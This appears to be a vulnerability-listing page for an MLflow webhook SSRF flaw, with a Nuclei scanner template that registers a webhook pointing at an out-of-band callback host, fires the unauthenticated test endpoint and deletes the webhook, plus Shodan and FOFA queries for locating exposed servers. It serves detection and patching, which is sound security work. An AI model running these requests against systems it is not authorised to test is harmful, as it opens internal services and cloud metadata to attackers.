CVE-2026-64849: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass

2026-08-19 MLflow PoC Public

Description

MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.

PoC

id: CVE-2026-64849

info:
  name: MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.
  impact: |
    Attackers can access internal or cloud metadata services and retrieve response status and body, potentially exposing sensitive information.
  remediation: |
    Upgrade MLflow to a version containing PR #24258 which adds SSRFProtectedHTTPAdapter for connection-time IP validation covering redirect targets and DNS rebinding.
  reference:
    - https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j
    - https://github.com/mlflow/mlflow/pull/24258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-64849
    epss-score: 0.1641
    epss-percentile: 0.96811
    cwe-id: CWE-918
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,ssrf,oast,webhook,oss,vkev,kev

variables:
  random: "{{rand_text_alpha(8)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/webhooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{random}}","url":"https://{{interactsh-url}}","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

      - |
        POST /api/2.0/mlflow/webhooks/{{webhook_id}}/test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"webhook_id":"{{webhook_id}}","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

      - |
        DELETE /api/2.0/mlflow/webhooks/{{webhook_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "webhook_id"
          - "ACTIVE"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: regex
        name: webhook_id
        part: body
        internal: true
        regex:
          - '"webhook_id":\s*"([^"]+)"'
        group: 1
# digest: 490a00463044022079ef31e1055ad08d723b31bfc1a222893dbe66237f46d4fc21fc851a18dbaa15022002c7a4c82958f38bb25561a89297b388563d71c5efa7fd8c69e160df20007e3c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities